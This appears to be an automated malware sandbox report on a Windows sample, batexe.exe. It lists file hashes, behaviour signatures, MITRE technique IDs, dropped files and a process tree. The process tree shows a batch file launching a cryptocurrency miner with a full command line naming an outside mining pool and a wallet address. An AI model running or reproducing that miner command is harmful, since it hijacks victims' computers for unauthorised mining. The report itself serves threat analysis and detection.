73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
295s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21/02/2024, 16:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
batexe.exe
Size 9.4MB
Sample240221-tq884abc86
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1816	b2e.exe
5116	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5116	cpuminer-sse2.exe
5116	cpuminer-sse2.exe
5116	cpuminer-sse2.exe
5116	cpuminer-sse2.exe
5116	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4072-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4072 wrote to memory of 1816	4072	batexe.exe	82
PID 4072 wrote to memory of 1816	4072	batexe.exe	82
PID 4072 wrote to memory of 1816	4072	batexe.exe	82
PID 1816 wrote to memory of 3960	1816	b2e.exe	83
PID 1816 wrote to memory of 3960	1816	b2e.exe	83
PID 1816 wrote to memory of 3960	1816	b2e.exe	83
PID 3960 wrote to memory of 5116	3960	cmd.exe	86
PID 3960 wrote to memory of 5116	3960	cmd.exe	86

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4072
- C:\Users\Admin\AppData\Local\Temp\59D8.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\59D8.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\59D8.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5D81.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3960
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\59D8.tmp\b2e.exe
Size 8.5MB
SHA256 0c824490815ce207d0c3cfbdf6656ec3da49a0a131a45d9eebc99d0fe6def4e1
MD5 2e681ac34675fa0a3b547993be3ea999
SHA1 d04342561a11c95dc15dd8102d7c30bbeff0f2b8
SHA512 f9ba23f89058472392f4ab36cdba77fea68b8597e3baffd5432fd5f6a17cdcd3797364270aa542e5b6fd07e9cda7c54dcdbde1e6371cd809a05b48a7a02dfb3d
SSDEEP 98304:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9Ck6jBVFh0uX:wWrJQ9CuU
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\59D8.tmp\b2e.exe
Size 2.9MB
SHA256 840abe09b360b729c761aa038285758c8aab503419dc9dea7640ab486ef8e86d
MD5 99d5069098bfa9dc833b75bdfa02fe7c
SHA1 923d7d7823a610e48b97a05176b436dc621a1960
SHA512 0bb8656459c62ca37913cb85f38793a0cc591841c2dd29b65359d4f71d0c8d6fd037c55c992b2c81fb38ceca1109a99595d7339589a29cb57b50c55d02123c0b
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSuj:2Vh7J/WrocAdkmBtKp
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\59D8.tmp\b2e.exe
Size 2.9MB
SHA256 68ebb0314ea4de8bdbd1d3c185fe61355f0d9558c4cc3c2cba79ee0f64f770e6
MD5 6b53d0633cd686d0057925d4337ac5d5
SHA1 ec7e5d86442a8dcf2014a6077eb557519fbf2453
SHA512 c20b0327c88cfc12fc1788894a6a95538bf893ad6961f3977bf205db38936f401190cc818c2d7f86b3840c511fb6514eebe9aa2b045426ed5bdfce1c1838c778
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSua:2Vh7J/WrocAdkmBtKY
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\5D81.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 404KB
SHA256 e1f64cd8529a11ce979fbfb501d2d0ca9fc150c79862cce4b710251b20a29ab1
MD5 9498786c3450a86c5a78f2b154954d2f
SHA1 070319b2a84661245dac90a44a020015ca5dfc38
SHA512 9388c43bf3af202ca3e8185d78f2105cb6d68d4310abf5db87eec8b23ce1c009faa0036950c6b67a3ac9b5bba1a828999e76103f2af7336a097e2f18fb808502
SSDEEP 12288:WRtMPAkXZ9Zeql/DZoq/Qphj2XVgQ7N/T3:WbAAkXZfeqVZoq/QpmN/T3
MD5 SHA1 SHA512 SSDEEP

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 336KB
SHA256 ad16be973311de56df5e4c9341c31f95c1a4317347234e58cf5ffc0f928884ae
MD5 b01dad92cc7c49a35d167029481999d6
SHA1 bee135d3dfe9698a456989921570e296e2ef5b8d
SHA512 256da63bc3e1e23f819f123c26c457d06085410e63077f6fc321391da2e71fdf9c5c0d4dc07aabc899c7f3b9809a25a10d4df418bb634bc3f3b7e9b41d6c50ad
SSDEEP 6144:WRtm3PARaXZ9sKDQ5xA7l/DJAs4WopOmUdVFPophj28yVgQjnA:WRtMPAkXZ9Zeql/DZoq/Qphj2XVgQ7A
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 331KB
SHA256 525d973aaac45b8b874942dbb6aabc99d7bf571cbb79d0759eecf168aa7b7ff2
MD5 0b1f096b5191c7a85169d2f20323277d
SHA1 e12074b8f03ab1a427af04c54ead5dad7a42b6e4
SHA512 b0c4f87e9bb75b1a1c330ef28f31586fa31a73f3588e373e6ffb119b8b42fe1ea6fa170acac5ecfcd4a3cbc33ac0b61a263b0b975ed2a410348f1a9472ded0bc
SSDEEP 6144:G6l05RRx7sVReffLoF62FryGLi21TdLN7/GbY:xup7YufLe62F2G1TdLN7/gY
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 234KB
SHA256 53e96b9a60561ee40b3e85d7642eee95483edac7d9de392da617d569986d95f0
MD5 7c7fc072bbf6d5a40e4becf33377581a
SHA1 7d02e559775a8ad500fe64ba183d249b701db89f
SHA512 25bd613004f8cdfa9713370d35ad7b75bda68a077ce8af830e3d62645d8a9bb1f50ad52eef19a33d4117de050db4b1f1b0cd6dc3b0443fa27bedf92703e5f3b8
SSDEEP 3072:GaN/00Cl6WVwdIlV7u+D7hTW/cggTsIBmRe0Li0yklsfwSfXYFxYJ2jhrM:G6l05RRx7sVReffLoF62FrM
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 378KB
SHA256 8fb099ab3b937836a8187095f62c8bb3838a6d25cd5db7726cda4d57bfffa4c9
MD5 fe7d57da84600a716d1ae62f5f11a7ba
SHA1 ab7247300ebb1a134dce6a21aef9a6903ff2b6a7
SHA512 b038d91656a5f244171f9b31a7b720cac76d5631da5729141f49753bf4c830d1a266e6751f384e90f06f9b73edf1a58940197bf793cdc11f4ab34359d9ee33b4
SSDEEP 6144:O681EOnYxmMbMQr6mWfv1Jfv1Vfv1Hfv1Ofv1hfv1Yfv1vw6t5O07fv1P7jhO7jn:ynYk4yH15191n1q1x1c1vw6t8a1/hKht
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 252KB
SHA256 5e397743ce6cbcb945cb4c4deb4ca1c57296351dfb487960605802d37ddde023
MD5 424d027dfc4433174ffdfd49a15a5f05
SHA1 19c664341da8919ce2d18ad789ad840794abcab1
SHA512 558caffcadefd6afff38be27d61bf918c3ff47d657cb5648bde5dae4d71bb1608fdd52553bfc06afeaa28f7be5269ac4e6b8fa55969d19b0c9779cca3cbbca5c
SSDEEP 6144:O681EOnYxmMbMQr6mWfv1Jfv1Vfv1Hfv1Ofv1hfv1Yfv1vw6t5O07fv1P7jhO7jk:ynYk4yH15191n1q1x1c1vw6t8a1/hKhe
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 312KB
SHA256 18fe9a33b253424d0da7108ff129e0fdb33cc7cfa1d2409250e87f6ee4974921
MD5 1db2604b6a4af6728e0c25592d9e7440
SHA1 a0197da81bd55a903a89ff1cad0b35fc3ca10256
SHA512 77b0d180aec4a5cba950e736669941df8ae08b33b100220f2fc830b1b9af2d0155fa3c7dc0547ef29ba87f9a3cd4508174ebadd9e025d80f0cb1fb66651258cd
SSDEEP 3072:OEOWd4lAhRoZuXCFUf2yaYuT4V+Gk3UmCQoUxKN3Kbso2Qo1B2JmDX9mKmxMGx8A:qKRa5s+G7mCiqxo2LhDX9mKm1xWQzyAh
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 253KB
SHA256 75d17639dc70dc0de7533e478807227bd1aef2e06259f3b9fd89788a8c021e2d
MD5 121120a1ae01448c42f5b9de42ce6c14
SHA1 6bfd7eb56608521c679db1b25cf8afbe84b7801b
SHA512 f9a86f5754d335113e700dae469342487b265d959e8dc5c10822aae739906b75dbdd90016759c7eefa2ece053bc8b8d4eb1650be8afba83ed6b53792b89dda25
SSDEEP 3072:OEOWd4lAhRoZuXCFUf2yaYuT4V+Gk3UmCQoUxKN3Kbso2Qo1B2JmDX9mKmxMGx80:qKRa5s+G7mCiqxo2LhDX9mKm1xWQzyS
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 99KB
SHA256 2bddf8b28155ed1a1b988e6963e7e9834c78ab7a7a9ad777b9fef25289303193
MD5 f290680be2e758ee841c634f7cdb3e7e
SHA1 c4ecf226402ae2385d8560f7eb75e05fe33560f1
SHA512 88d453322b305d07168abed81f296d28b60a2109250a10982c24bca910ace85064b6f8f971c960ab7e3dab61250fed7a8cc1be499011e7a6dd268a57826741a0
SSDEEP 1536:Xep2OkNd4lAhrdoZMaQXCUjZ6gHt3f2ix+n5YU/fTR4vVZF01:OEOWd4lAhRoZuXCFUf2yaYuT4Vi
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 125KB
SHA256 36d6f0580bc1f1b814da60cdad5f106508a1f74ce1269b558735f8dff85e9464
MD5 e14c0736882d9be0f57aa454a8b30f20
SHA1 6823dfdd32369d737265cfdfc9a5962b0d45c755
SHA512 2b50db7ce89ad0b99d34c85154576ee4ab5b1dc2dd5177ec932aef44a596aff5743aa61810e9d900cfd76c0097df984662a040bbb0aff1a2edbab0b541f96d52
SSDEEP 3072:g9ruLE6xim3YOPSA6ml6mmrBXeG8GvtWqOE0:g9rAim3YMr6mjmrYGf4qt0
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 74KB
SHA256 cddcd33f656a8a05ee0d3b094e46b7990a7dcc9f7ac41bd262669e05ac3a700c
MD5 01c5bf2e91a64be684fdd9919f93b6e1
SHA1 770890d38014fddbbf58a882c2f2861b388020e4
SHA512 b098be4a38a0e0fc42b5b6d89c9c8611ebfd88d0711bfda5762f7ad5264c84a1dfb79014d55da1ef5348e1e1fb72bd847ee57423b2d96e70172d2571403974eb
SSDEEP 1536:t2qAV7UYRlJZMk0JL9up5Szxim3YlbQPS9B/Xj0l6q5r6:g9ruLE6xim3YOPSA6mW
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1816-7-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/1816-53-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/4072-9-0x0000000000400000-0x000000000393A000-memory.dmp

Download

memory/5116-44-0x0000000061440000-0x000000006156B000-memory.dmp

Download

memory/5116-69-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5116-43-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5116-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Download

memory/5116-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Download

memory/5116-59-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5116-64-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5116-46-0x0000000066260000-0x00000000662F8000-memory.dmp

Download

memory/5116-74-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5116-79-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5116-84-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5116-94-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5116-99-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5116-104-0x0000000000400000-0x0000000000667000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads